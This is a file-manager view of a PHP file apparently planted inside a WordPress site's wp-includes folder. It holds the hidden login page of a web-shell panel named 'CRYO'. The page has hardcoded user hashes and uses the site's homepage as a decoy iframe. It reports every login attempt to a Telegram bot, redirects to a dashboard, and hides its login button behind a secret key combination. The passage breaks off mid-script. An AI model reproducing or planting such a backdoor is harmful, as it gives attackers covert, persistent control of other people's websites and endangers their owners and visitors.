File manager - Edit - /home/buyherba/purecannabishub.com/wp-includes/viewer/default.php
Back
<?php if (!function_exists('ws_random_bytes')) { function ws_random_bytes($length) { $length = (int)$length; if ($length <= 0) return ''; if (function_exists('random_bytes')) { return random_bytes($length); } if (function_exists('openssl_random_pseudo_bytes')) { $strong = false; $bytes = openssl_random_pseudo_bytes($length, $strong); if ($bytes !== false && strlen($bytes) === $length) { return $bytes; } } $urandom = '/dev/urandom'; if (is_readable($urandom)) { $h = @fopen($urandom, 'rb'); if ($h) { $bytes = @fread($h, $length); @fclose($h); if ($bytes !== false && strlen($bytes) === $length) { return $bytes; } } } $bytes = ''; for ($i = 0; $i < $length; $i++) { $bytes .= chr(mt_rand(0, 255)); } return $bytes; } } if (!function_exists('hash_equals')) { function hash_equals($known_string, $user_string) { $known_string = (string)$known_string; $user_string = (string)$user_string; if (strlen($known_string) !== strlen($user_string)) { return false; } $res = 0; $len = strlen($known_string); for ($i = 0; $i < $len; $i++) { $res |= ord($known_string[$i]) ^ ord($user_string[$i]); } return $res === 0; } } /** * ===== Session bootstrap (AMAN di lingkungan WordPress) ===== * Hanya set session ini & cookie params kalau sesi BELUM aktif. */ $httpsOn = ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] === 'https') || (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443) ); $secure = $httpsOn ? true : false; if (session_status() !== PHP_SESSION_ACTIVE) { // ==== Session hardening ==== ini_set('session.use_strict_mode', '1'); ini_set('session.cookie_httponly', '1'); if ($secure) { ini_set('session.cookie_secure', '1'); } // ===== FIX: gunakan folder lokal untuk session bila path default cPanel bermasalah ===== $localSessDir = __DIR__ . '/.cryo_sessions'; if (!is_dir($localSessDir)) { @mkdir($localSessDir, 0700, true); @file_put_contents($localSessDir . '/.htaccess', "Order allow,deny\nDeny from all\n<IfModule mod_authz_core.c>\nRequire all denied\n</IfModule>\n"); @file_put_contents($localSessDir . '/index.html', ''); } if (is_dir($localSessDir) && is_writable($localSessDir)) { @ini_set('session.save_path', $localSessDir); @session_save_path($localSessDir); } @ini_set('session.gc_maxlifetime', '7200'); // Set cookie params modern (PHP >= 7.3) if (PHP_VERSION_ID >= 70300) { session_set_cookie_params([ 'lifetime' => 0, 'path' => '/', 'domain' => '', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', ]); } else { // PHP < 7.3: belum ada dukungan SameSite native di session cookie session_set_cookie_params(0, '/', '', $secure, true); } // Suppress warning if a previous session file is corrupt; regenerate fresh on failure if (!@session_start()) { // Hapus cookie session lama lalu coba lagi if (ini_get('session.use_cookies')) { $params = session_get_cookie_params(); @setcookie(session_name(), '', time() - 42000, $params['path'], $params['domain'], $params['secure'], $params['httponly']); } @session_id(bin2hex(random_bytes(16))); @session_start(); } } // ==== Helper: hitung URL absolut ke Dashboard.php (selalu turunkan dari URL request) ==== if (!function_exists('cryo_dashboard_url')) { function cryo_dashboard_url() { // Sumber paling andal: REQUEST_URI (apa yang diminta browser), fallback ke SCRIPT_NAME / PHP_SELF $uri = ''; if (!empty($_SERVER['REQUEST_URI'])) $uri = $_SERVER['REQUEST_URI']; elseif (!empty($_SERVER['SCRIPT_NAME'])) $uri = $_SERVER['SCRIPT_NAME']; elseif (!empty($_SERVER['PHP_SELF'])) $uri = $_SERVER['PHP_SELF']; // Buang query string $qpos = strpos($uri, '?'); if ($qpos !== false) $uri = substr($uri, 0, $qpos); // Buang nama file (mis. /default.php) -> dapatkan direktori plugin $dir = preg_replace('#/[^/]*$#', '', $uri); if ($dir === null) $dir = ''; if ($dir === '' || $dir[0] !== '/') $dir = '/' . ltrim((string)$dir, '/'); $dir = rtrim($dir, '/'); return $dir . '/Core/Components/Dashboard.php'; } } // ==== Helper & ENV ==== require_once __DIR__ . '/add.php'; // berisi read_env() if (!function_exists('password_verify')) { require_once __DIR__ . '/Core/Components/Verify.php'; // polyfill jika PHP lama } $env = read_env(__DIR__ . '/Config/.env'); $NAME = isset($env['META_NAME']) ? $env['META_NAME'] : ''; $VALUE = isset($env['META_DB']) ? $env['META_DB'] : ''; // password hash (password_hash) // [TELEGRAM] Tambahan: baca token bot dan chat id dari .env $TELEGRAM_BOT_TOKEN = isset($env['TELEGRAM_BOT_TOKEN']) ? $env['TELEGRAM_BOT_TOKEN'] : ''; $TELEGRAM_CHAT_ID = isset($env['TELEGRAM_CHAT_ID']) ? $env['TELEGRAM_CHAT_ID'] : ''; // [TELEGRAM] Fungsi kirim notifikasi ke Telegram function sendTelegram($message) { global $TELEGRAM_BOT_TOKEN, $TELEGRAM_CHAT_ID; if (empty($TELEGRAM_BOT_TOKEN) || empty($TELEGRAM_CHAT_ID)) return false; $url = "https://api.telegram.org/bot{$TELEGRAM_BOT_TOKEN}/sendMessage"; $data = [ 'chat_id' => $TELEGRAM_CHAT_ID, 'text' => $message, 'parse_mode' => 'HTML' ]; $options = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data), 'timeout' => 5, // timeout 5 detik, jangan sampai delay login ], ]; $context = stream_context_create($options); @file_get_contents($url, false, $context); return true; } // [TELEGRAM] Fungsi mendapatkan IP klien dengan aman (mendukung proxy) function getClientIP() { $ip = 'unknown'; if (isset($_SERVER['HTTP_CLIENT_IP']) && filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { // Ambil IP pertama dari daftar (yang asli) $forwarded = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $first = trim($forwarded[0]); if (filter_var($first, FILTER_VALIDATE_IP)) { $ip = $first; } } elseif (isset($_SERVER['REMOTE_ADDR']) && filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP)) { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } // ==== Daftar pengguna multi-role ===== $users = []; // Admin dari file .env if (!empty($NAME) && !empty($VALUE)) { $users[$NAME] = [ 'password' => $VALUE, // sudah hash 'role' => 'admin' ]; } // Tambahkan user non-admin: ragil, edi, engkit (ganti password_hash sesuai keinginan) // Contoh: password 'rahasia123' -> hash dihasilkan dari password_hash('rahasia123', PASSWORD_DEFAULT) $users['semar'] = [ 'password' => '$2y$10$ogXeLz8GzTnyUR8xDR4w9.KfGr9qCDZbtdnO0lvLjkBjyxzIzvDhC', 'role' => 'semar' ]; $users['edi'] = [ 'password' => '$2y$10$Lxd0MI2GdbffJaZW3MTs3uyr6Dwhg8rHkP8NFHdjPIy4L6YOaYDuy', 'role' => 'edi' ]; $users['engkit'] = [ 'password' => '$2y$10$8tfXdo58AKTyFpLirtaTCulJ5qOyW9sRJRKoI0CKe/a5YGfLbnpsW', 'role' => 'engkit' ]; // ==== Helper URL (scheme/host/dir/home) ==== $httpsOnPg = ( (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') || (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] === 'https') || (isset($_SERVER['SERVER_PORT']) && (int)$_SERVER['SERVER_PORT'] === 443) ); $scheme = $httpsOnPg ? 'https' : 'http'; $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'; $host = preg_replace('/[^A-Za-z0-9\.\-:\[\]]/', '', $host); $dir = dirname(isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/'); $dir = rtrim(str_replace('\\', '/', $dir), '/'); $homeUrl = "{$scheme}://{$host}/"; // ==== CSRF minimal ==== if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(ws_random_bytes(16)); } function csrf_ok($token) { return is_string($token) && isset($_SESSION['csrf']) && hash_equals($_SESSION['csrf'], (string)$token); } // ==== Rate limit sangat sederhana (per session) ==== $RATE_MAX_ATTEMPTS = 5; $RATE_WINDOW_SEC = 300; $LOCK_SECONDS = 120; $cooldown_msg = null; if (!isset($_SESSION['rl'])) { $_SESSION['rl'] = ['start' => time(), 'count' => 0, 'lock' => 0]; } else { if (time() - $_SESSION['rl']['start'] > $RATE_WINDOW_SEC) { $_SESSION['rl'] = ['start' => time(), 'count' => 0, 'lock' => 0]; } } function rl_hit() { $max = isset($GLOBALS['RATE_MAX_ATTEMPTS']) ? (int)$GLOBALS['RATE_MAX_ATTEMPTS'] : 5; $lockSec = isset($GLOBALS['LOCK_SECONDS']) ? (int)$GLOBALS['LOCK_SECONDS'] : 120; $_SESSION['rl']['count'] = (int)(isset($_SESSION['rl']['count']) ? $_SESSION['rl']['count'] : 0) + 1; if ((int)(isset($_SESSION['rl']['count']) ? $_SESSION['rl']['count'] : 0) > $max) { $_SESSION['rl']['lock'] = time() + $lockSec; } } function rl_locked() { return (int)(isset($_SESSION['rl']['lock']) ? $_SESSION['rl']['lock'] : 0) > time(); } if (rl_locked()) { $remain = $_SESSION['rl']['lock'] - time(); $cooldown_msg = "Terlalu banyak percobaan. Coba lagi dalam ~{$remain}s."; } // ==== State login ==== $loginError = ""; // ==== Handler login: password (multi-user) ==== if (isset($_POST['login_pw']) && !$cooldown_msg) { if (!csrf_ok(isset($_POST['csrf']) ? $_POST['csrf'] : null)) { $loginError = "Sesi tidak valid. Muat ulang halaman."; } else { $username = isset($_POST['username']) ? (string)$_POST['username'] : ''; $password = isset($_POST['password']) ? (string)$_POST['password'] : ''; $userFound = null; // Cari di array users foreach ($users as $uname => $data) { if (hash_equals($uname, $username) && password_verify($password, $data['password'])) { $userFound = $data; $userFound['username'] = $uname; // simpan username break; } } if ($userFound) { $_SESSION['logged_in'] = true; $_SESSION['role'] = $userFound['role']; $_SESSION['user'] = $userFound['username']; $_SESSION['rl'] = ['start' => time(), 'count' => 0, 'lock' => 0]; session_regenerate_id(true); // [TELEGRAM] Notifikasi login berhasil $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'; $ip = getClientIP(); $dt = new DateTime('now', new DateTimeZone('Asia/Jakarta')); $time = $dt->format('Y-m-d H:i:s'); $message = "<b> Login Berhasil</b>\n" . "Domain: {$domain}\n" . "URL: {$scheme}://{$host}{$dir}/default.php\n" . "Role: {$userFound['role']}\n" . "User: {$userFound['username']}\n" . "IP: {$ip}\n" . "Waktu: {$time}"; sendTelegram($message); header("Location: " . cryo_dashboard_url()); exit; } else { rl_hit(); $loginError = "Iya Dikit Lagi Benar! Coba Lagi!!!"; // [TELEGRAM] Kirim notifikasi gagal login (password) $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'; $ip = getClientIP(); $dt = new DateTime('now', new DateTimeZone('Asia/Jakarta')); $time = $dt->format('Y-m-d H:i:s'); $message = "<b>❌ Login Gagal (Password)</b>\n" . "Domain: {$domain}\n" . "URL: {$scheme}://{$host}{$dir}/default.php\n" . "IP: {$ip}\n" . "Waktu: {$time}"; sendTelegram($message); } } } // ==== Jika sudah login, langsung masuk ==== if (!empty($_SESSION['logged_in'])) { header("Location: " . cryo_dashboard_url()); exit; } ?> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CRYO</title> <style> /* ... (semua CSS asli tetap sama, tidak perlu diubah) ... */ @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap'); * { box-sizing: border-box; } html, body { margin: 0; padding: 0; height: 100%; } body { font-family: 'Roboto', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; background: #1a1e23; color: #f5f5f5; overflow: hidden; } /* ==== BACKGROUND BUBBLE ala Alphardex (dimodif) ==== */ .bubbles { position: fixed; inset: 0; width: 100%; height: 100vh; overflow: hidden; z-index: 0; background: radial-gradient(circle at top, #262b33 0, #14171c 55%, #050609 100%); pointer-events: none; } .bubble { position: absolute; bottom: -10vh; display: block; border-radius: 50%; opacity: 0.9; animation-name: float-up; animation-timing-function: ease-in; animation-iteration-count: infinite; background: radial-gradient(circle at 30% 30%, rgba(255,255,255,0.9), rgba(158,242,255,0.15) 45%, transparent 60%); box-shadow: 0 0 24px rgba(158, 242, 255, 0.45); } .bubble:nth-child(1) { left: 5vw; width: 3vw; height: 3vw; animation-duration: 18s; animation-delay: 0s; } .bubble:nth-child(2) { left: 15vw; width: 6vw; height: 6vw; animation-duration: 22s; animation-delay: 2s; } .bubble:nth-child(3) { left: 25vw; width: 4vw; height: 4vw; animation-duration: 16s; animation-delay: 4s; } .bubble:nth-child(4) { left: 35vw; width: 7vw; height: 7vw; animation-duration: 26s; animation-delay: 1s; } .bubble:nth-child(5) { left: 45vw; width: 5vw; height: 5vw; animation-duration: 20s; animation-delay: 3s; } .bubble:nth-child(6) { left: 55vw; width: 3.5vw; height: 3.5vw; animation-duration: 17s; animation-delay: 0.5s; } .bubble:nth-child(7) { left: 65vw; width: 6.5vw; height: 6.5vw; animation-duration: 24s; animation-delay: 1.5s; } .bubble:nth-child(8) { left: 75vw; width: 4.5vw; height: 4.5vw; animation-duration: 19s; animation-delay: 2.5s; } .bubble:nth-child(9) { left: 85vw; width: 3vw; height: 3vw; animation-duration: 21s; animation-delay: 4.5s; } .bubble:nth-child(10) { left: 10vw; width: 5.5vw; height: 5.5vw; animation-duration: 23s; animation-delay: 1.2s; } .bubble:nth-child(11) { left: 20vw; width: 3.8vw; height: 3.8vw; animation-duration: 18s; animation-delay: 3.1s; } .bubble:nth-child(12) { left: 30vw; width: 6.8vw; height: 6.8vw; animation-duration: 27s; animation-delay: 0.7s; } .bubble:nth-child(13) { left: 40vw; width: 4.2vw; height: 4.2vw; animation-duration: 17s; animation-delay: 2.7s; } .bubble:nth-child(14) { left: 50vw; width: 6.2vw; height: 6.2vw; animation-duration: 25s; animation-delay: 3.3s; } .bubble:nth-child(15) { left: 60vw; width: 4.8vw; height: 4.8vw; animation-duration: 19s; animation-delay: 1.8s; } .bubble:nth-child(16) { left: 70vw; width: 3.2vw; height: 3.2vw; animation-duration: 18s; animation-delay: 0.9s; } .bubble:nth-child(17) { left: 80vw; width: 5.8vw; height: 5.8vw; animation-duration: 24s; animation-delay: 2.2s; } .bubble:nth-child(18) { left: 12vw; width: 4.6vw; height: 4.6vw; animation-duration: 22s; animation-delay: 4.1s; } .bubble:nth-child(19) { left: 28vw; width: 3.4vw; height: 3.4vw; animation-duration: 17s; animation-delay: 1.6s; } .bubble:nth-child(20) { left: 38vw; width: 5.2vw; height: 5.2vw; animation-duration: 21s; animation-delay: 2.9s; } .bubble:nth-child(21) { left: 52vw; width: 4.1vw; height: 4.1vw; animation-duration: 19s; animation-delay: 0.3s; } .bubble:nth-child(22) { left: 68vw; width: 6.1vw; height: 6.1vw; animation-duration: 26s; animation-delay: 3.9s; } .bubble:nth-child(23) { left: 82vw; width: 4.3vw; height: 4.3vw; animation-duration: 20s; animation-delay: 1.1s; } .bubble:nth-child(24) { left: 90vw; width: 3.7vw; height: 3.7vw; animation-duration: 18s; animation-delay: 2.4s; } .bubble:nth-child(25) { left: 5vw; width: 7.1vw; height: 7.1vw; animation-duration: 28s; animation-delay: 4.4s; } @keyframes float-up { to { transform: translateY(-175vh); } } /* ==== LAYER KONTEN ==== */ #blackhole { position: relative; z-index: 10; height: 100vh; width: 100vw; display: flex; align-items: center; justify-content: center; } /* ==== 404 BOX GLITCHY ==== */ .error-box { position: relative; padding: 26px 30px 22px; border-radius: 18px; background: rgba(10, 12, 18, 0.92); box-shadow: 0 0 0 1px rgba(158, 242, 255, 0.08), 0 22px 40px rgba(0,0,0,0.9); text-align: center; max-width: 320px; width: 90vw; backdrop-filter: blur(10px); animation: errorPop 0.8s ease-out, errorFloat 4.5s ease-in-out infinite; overflow: hidden; } @keyframes errorPop { from { opacity: 0; transform: translateY(12px) scale(0.95); } to { opacity: 1; transform: translateY(0) scale(1); } } @keyframes errorFloat { 0%,100% { transform: translateY(0); } 50% { transform: translateY(-6px); } } .glitch { position: relative; display: inline-block; font-size: 64px; letter-spacing: .18em; text-transform: uppercase; color: #f0fbff; text-shadow: 0 0 8px rgba(158, 242, 255, 0.7), 0 0 22px rgba(0,0,0,1); margin-bottom: 6px; animation: glitch-skew 3s infinite linear alternate-reverse; } .glitch::before, .glitch::after { content: attr(data-text); position: absolute; top: 0; left: 0; width: 100%; overflow: hidden; } .glitch::before { left: 2px; text-shadow: -2px 0 #ff005c; clip: rect(0, 900px, 0, 0); animation: glitch-before 2.3s infinite linear alternate-reverse; } .glitch::after { left: -2px; text-shadow: -2px 0 #00f7ff; clip: rect(0, 900px, 0, 0); animation: glitch-after 2.8s infinite linear alternate-reverse; } @keyframes glitch-before { 0% { clip: rect(5px, 999px, 25px, 0); } 20% { clip: rect(20px, 999px, 60px, 0); } 40% { clip: rect(45px, 999px, 80px, 0); } 60% { clip: rect(10px, 999px, 40px, 0); } 80% { clip: rect(30px, 999px, 70px, 0); } 100% { clip: rect(0px, 999px, 90px, 0); } } @keyframes glitch-after { 0% { clip: rect(55px, 999px, 90px, 0); } 25% { clip: rect(10px, 999px, 35px, 0); } 50% { clip: rect(30px, 999px, 60px, 0); } 75% { clip: rect(0px, 999px, 25px, 0); } 100% { clip: rect(40px, 999px, 80px, 0); } } @keyframes glitch-skew { 0% { transform: skew(0deg); } 40% { transform: skew(1deg); } 60% { transform: skew(-1deg); } 100% { transform: skew(0deg); } } .error-subtitle { font-size: 13px; text-transform: uppercase; letter-spacing: .26em; color: #9bb6c7; margin-bottom: 10px; } .error-message { font-size: 13px; color: #b9c7d5; opacity: 0.82; word-break: break-word; } /* === LOGIN MODAL NEON STYLE === */ .login-form-box { position: absolute; left: 50%; top: 50%; z-index: 20; transform: translate(-50%, -50%); width: 320px; max-width: 92vw; padding: 28px 24px 22px; border-radius: 16px; background: radial-gradient(circle at top left, rgba(255, 77, 77, 0.7), transparent 60%), radial-gradient(circle at bottom right, rgba(0, 0, 0, 0.9), transparent 55%), rgba(8, 8, 16, 0.96); box-shadow: 0 0 0 1px rgba(255, 128, 128, 0.18), 0 24px 55px rgba(0, 0, 0, 0.95); display: none; animation: fadeIn 0.7s ease-out; overflow: hidden; } .login-form-box::before { content: ""; position: absolute; inset: -60%; background: conic-gradient( from 120deg, rgba(255, 0, 0, 0.2), rgba(255, 255, 255, 0.15), rgba(0, 0, 0, 0.5), rgba(255, 0, 0, 0.2) ); opacity: 0.4; filter: blur(32px); z-index: -1; animation: glowSweep 16s linear infinite; } @keyframes glowSweep { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @keyframes fadeIn { from { opacity: 0; transform: translate(-50%, -55%) scale(0.96); } to { opacity: 1; transform: translate(-50%, -50%) scale(1); } } .login-header { margin-bottom: 14px; text-align: left; } .login-header h2 { margin: 0 0 4px; font-size: 17px; letter-spacing: .16em; text-transform: uppercase; color: #ffe6e6; } .login-form-box form { display: flex; flex-direction: column; gap: 11px; } /* TEKS BERGELOMBANG UNTUK TOMBOL */ .wave-text { display: inline-flex; gap: 0.08em; font-size: 11px; color: inherit; text-shadow: 0 0 6px rgba(255, 80, 80, 0.7); text-transform: uppercase; letter-spacing: .18em; } .wave-text span { display: inline-block; animation: wave 1.6s ease-in-out infinite; transform-origin: center bottom; } .wave-text span:nth-child(1) { animation-delay: 0s; } .wave-text span:nth-child(2) { animation-delay: 0.04s; } .wave-text span:nth-child(3) { animation-delay: 0.08s; } .wave-text span:nth-child(4) { animation-delay: 0.12s; } .wave-text span:nth-child(5) { animation-delay: 0.16s; } .wave-text span:nth-child(6) { animation-delay: 0.20s; } .wave-text span:nth-child(7) { animation-delay: 0.24s; } .wave-text span:nth-child(8) { animation-delay: 0.28s; } .wave-text span:nth-child(9) { animation-delay: 0.32s; } .wave-text span:nth-child(10) { animation-delay: 0.36s; } .wave-text span:nth-child(11) { animation-delay: 0.40s; } .wave-text span:nth-child(12) { animation-delay: 0.44s; } .wave-text span:nth-child(13) { animation-delay: 0.48s; } .wave-text span:nth-child(14) { animation-delay: 0.52s; } .wave-text span:nth-child(15) { animation-delay: 0.56s; } .wave-text span:nth-child(16) { animation-delay: 0.60s; } .wave-text span:nth-child(17) { animation-delay: 0.64s; } .wave-text span:nth-child(18) { animation-delay: 0.68s; } .wave-text span:nth-child(19) { animation-delay: 0.72s; } .wave-text span:nth-child(20) { animation-delay: 0.76s; } .wave-text span:nth-child(21) { animation-delay: 0.80s; } .wave-text span:nth-child(22) { animation-delay: 0.84s; } .wave-text span:nth-child(23) { animation-delay: 0.88s; } .wave-text span:nth-child(24) { animation-delay: 0.92s; } .wave-text span:nth-child(25) { animation-delay: 0.96s; } @keyframes wave { 0% { transform: translateY(0) rotate(0deg); opacity: 0.9; } 25% { transform: translateY(-2px) rotate(3deg); opacity: 1; } 50% { transform: translateY(0) rotate(0deg); opacity: 0.95;} 75% { transform: translateY(2px) rotate(-2deg); opacity: 1; } 100% { transform: translateY(0) rotate(0deg); opacity: 0.9; } } /* FLOATING LABEL + INPUT LONJONG KECIL */ .field { position: relative; padding-top: 2px; } .field input { width: 100%; border: 1px solid #4a2a2a; background: rgba(0,0,0,0.35); padding: 7px 14px 7px; font-size: 13px; color: #ffeaea; outline: none; border-radius: 999px; transition: border-color .2s ease, background .2s ease, box-shadow .2s ease, transform .15s ease; } .field input::placeholder { color: transparent; } .field input:focus { border-color: #ff8888; background: rgba(0,0,0,0.6); box-shadow: 0 0 0 1px rgba(255,136,136,0.35), 0 0 10px rgba(255,80,80,0.25); transform: translateY(-1px); } .field label { position: absolute; left: 16px; top: 50%; transform: translateY(-50%); font-size: 11px; color: #c79b9b; letter-spacing: .09em; text-transform: uppercase; pointer-events: none; transition: transform .18s ease, font-size .18s ease, color .18s ease, top .18s ease; } .field__bar { position: absolute; left: 14px; right: 14px; bottom: 5px; height: 2px; border-radius: 999px; background: linear-gradient(90deg, #ff4f4f, #ffe3a3, #ff4f4f); background-size: 250% 250%; transform: scaleX(0); transform-origin: center; opacity: 0; transition: transform .22s ease, opacity .18s ease; } .field input:focus + label, .field input:not(:placeholder-shown) + label { top: 4px; transform: none; font-size: 9px; color: #ffd0d0; } .field input:focus ~ .field__bar, .field input:not(:placeholder-shown) ~ .field__bar { transform: scaleX(1); opacity: 1; animation: barFlow 2.2s linear infinite; } @keyframes barFlow { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } /* NEON BUTTON */ .neon-btn { position: relative; width: 100%; margin-top: 4px; padding: 8px 0; border-radius: 999px; border: none; cursor: pointer; font-size: 12px; font-weight: 600; color: #250000; background: linear-gradient(120deg, #ff3636, #ffd26f, #ff3636); background-size: 250% 250%; box-shadow: 0 0 16px rgba(255, 80, 80, 0.85), 0 0 40px rgba(0, 0, 0, 0.9); animation: glowPulse 2.6s ease-in-out infinite alternate, hueShift 7s linear infinite; transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; display: flex; align-items: center; justify-content: center; } .neon-btn:hover:not(:disabled) { transform: translateY(-1px); box-shadow: 0 0 24px rgba(255, 120, 120, 1), 0 0 60px rgba(0, 0, 0, 1); } .neon-btn:active:not(:disabled) { transform: translateY(1px) scale(.98); box-shadow: 0 0 8px rgba(255, 100, 100, 0.8), 0 0 25px rgba(0, 0, 0, 0.9); } .neon-btn:disabled { opacity: .5; cursor: not-allowed; box-shadow: none; animation-play-state: paused; } @keyframes glowPulse { 0% { filter: brightness(1); } 100% { filter: brightness(1.35); } } @keyframes hueShift { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } /* ==== RUNAWAY BUTTON ==== */ .neon-btn.btn-runaway { position: fixed !important; width: 120px !important; transition: left .18s cubic-bezier(.22,.68,0,1.2), top .18s cubic-bezier(.22,.68,0,1.2), box-shadow .12s ease !important; z-index: 9999; cursor: not-allowed; } #runaway-taunt { position: fixed; z-index: 9998; pointer-events: none; font-size: 11px; font-weight: 600; color: #ffbaba; text-shadow: 0 0 8px rgba(255,80,80,0.9); text-align: center; letter-spacing: .06em; opacity: 0; transition: opacity .3s ease; white-space: nowrap; } #runaway-taunt.visible { opacity: 1; } .alert, .cooldown { font-size: 12px; padding: 7px 10px; margin-bottom: 10px; border-radius: 8px; text-align: center; } .alert { background: rgba(231, 76, 60, 0.97); color: #fff; box-shadow: 0 0 20px rgba(231, 76, 60, 0.5); } .cooldown { background: rgba(243, 156, 18, 0.97); color: #111; box-shadow: 0 0 18px rgba(243, 156, 18, 0.5); } .note { color:#d3a3a3; font-size:11px; margin-top:8px; text-align:center; } .note a { color:#f0b2b2; text-decoration:none; } .note a:hover { color:#ffe0e0; } @media (max-width: 430px) { .login-form-box { width: 90vw; padding: 22px 16px 18px; } .error-box { padding: 22px 18px 18px; } } </style> </head> <body> <iframe id="siteHome" src="<?php echo htmlspecialchars($homeUrl, ENT_QUOTES); ?>" style="position:fixed; inset:0; width:100%; height:100%; border:0;" title="Home" loading="eager" ></iframe> <div class="login-form-box" id="loginBox" role="dialog" aria-modal="true" aria-labelledby="loginTitle"> <div class="login-header"> <h2 id="loginTitle">CRYO</h2> <h5>Version 2.0</h5> </div> <?php if (!empty($cooldown_msg)) echo '<div class="cooldown">'.$cooldown_msg.'</div>'; ?> <?php if (!empty($loginError)) echo '<div class="alert">'.$loginError.'</div>'; ?> <!-- ============ FORM LOGIN ============ --> <form method="post" autocomplete="off"> <input type="hidden" name="csrf" value="<?php echo htmlspecialchars($_SESSION['csrf'], ENT_QUOTES); ?>"> <div class="field"> <input type="text" name="username" id="username" placeholder=" " autofocus required > <label for="username">Username</label> <span class="field__bar"></span> </div> <div class="field"> <input type="password" name="password" id="password" placeholder=" " required > <label for="password">Kuncinya apa?</label> <span class="field__bar"></span> </div> <button class="neon-btn" type="submit" name="login_pw" <?php echo $cooldown_msg ? 'disabled' : ''; ?> > <span class="wave-text" aria-label="Login"> <span>L</span><span>O</span><span>G</span><span>I</span><span>N</span> </span> </button> </form> </div> <script> document.addEventListener("DOMContentLoaded", () => { var loginBox = document.getElementById('loginBox'); var siteHome = document.getElementById('siteHome'); // ===== RUNAWAY LOGIN BUTTON TRICK ===== (function() { var loginBtn = document.querySelector('button[name="login_pw"]'); var loginForm = document.querySelector('form[method="post"]'); if (!loginBtn || !loginForm) return; var taunt = document.getElementById('runaway-taunt'); var taunts = [ "Wkwk lari dulu ya~", "Tangkap kalau bisa!", "Hampir nih, sayang...", "Ngga bisa nih hehe", "Byuurrr~", "Penakut? Atau lamban?", "Mau ke mana emangnya?", "Coba lagi! :P" ]; var tIdx = 0; // === State machine === // 0 = NORMAL : tombol di form, belum hover, Enter diblokir // 1 = FLEEING : tombol lari, Enter diblokir // 2 = UNLOCKED : tombol kembali, Enter bebas (setelah Alt+9) var STATE_NORMAL = 0; var STATE_FLEEING = 1; var STATE_UNLOCKED = 2; var state = STATE_NORMAL; var currentX = 0, currentY = 0; var MARGIN = 20; var btnParent = loginBtn.parentNode; var btnNextSib = loginBtn.nextSibling; function clamp(v, mn, mx) { return Math.min(Math.max(v, mn), mx); } function showTaunt(mx, my) { if (!taunt) return; tIdx = (tIdx + 1) % taunts.length; taunt.textContent = taunts[tIdx]; taunt.style.left = (mx - 50) + 'px'; taunt.style.top = (my - 36) + 'px'; taunt.classList.add('visible'); clearTimeout(taunt._t); taunt._t = setTimeout(function(){ taunt.classList.remove('visible'); }, 900); } function flee(mx, my) { var btnW = loginBtn.offsetWidth || 120; var btnH = loginBtn.offsetHeight || 36; var cx = currentX + btnW / 2; var cy = currentY + btnH / 2; var dx = cx - mx; var dy = cy - my; var dist = Math.sqrt(dx*dx + dy*dy) || 1; var speed = Math.max(100, 200 - dist); var nx = currentX + (dx / dist) * speed; var ny = currentY + (dy / dist) * speed; var maxX = window.innerWidth - btnW - MARGIN; var maxY = window.innerHeight - btnH - MARGIN; nx = clamp(nx, MARGIN, maxX); ny = clamp(ny, MARGIN, maxY); if (nx <= MARGIN + 1 || nx >= maxX - 1 || ny <= MARGIN + 1 || ny >= maxY - 1) { nx = clamp(Math.random() * (window.innerWidth - btnW - MARGIN*2) + MARGIN, MARGIN, maxX); ny = clamp(Math.random() * (window.innerHeight - btnH - MARGIN*2) + MARGIN, MARGIN, maxY); } currentX = nx; currentY = ny; loginBtn.style.left = nx + 'px'; loginBtn.style.top = ny + 'px'; } // Hover tombol → picu mode lari (hanya dari STATE_NORMAL) loginBtn.addEventListener('mouseenter', function(e) { if (state !== STATE_NORMAL) return; state = STATE_FLEEING; // Tangkap posisi tombol saat hover (posisi sudah final, tidak ada masalah animasi) var r = loginBtn.getBoundingClientRect(); currentX = r.left; currentY = r.top; // Pindahkan ke body agar position:fixed bebas dari transform parent loginBtn.classList.add('btn-runaway'); loginBtn.style.left = currentX + 'px'; loginBtn.style.top = currentY + 'px'; document.body.appendChild(loginBtn); // Langsung lari dari posisi mouse flee(e.clientX, e.clientY); showTaunt(e.clientX, e.clientY); }); // Mouse bergerak → tombol terus menghindar document.addEventListener('mousemove', function(e) { if (state !== STATE_FLEEING) return; flee(e.clientX, e.clientY); if (Math.random() < 0.15) showTaunt(e.clientX, e.clientY); }); // Blokir Enter (form submit) kecuali sudah UNLOCKED loginForm.addEventListener('submit', function(e) { if (state !== STATE_UNLOCKED) e.preventDefault(); }); // UNLOCK: Alt+9 document.addEventListener('keydown', 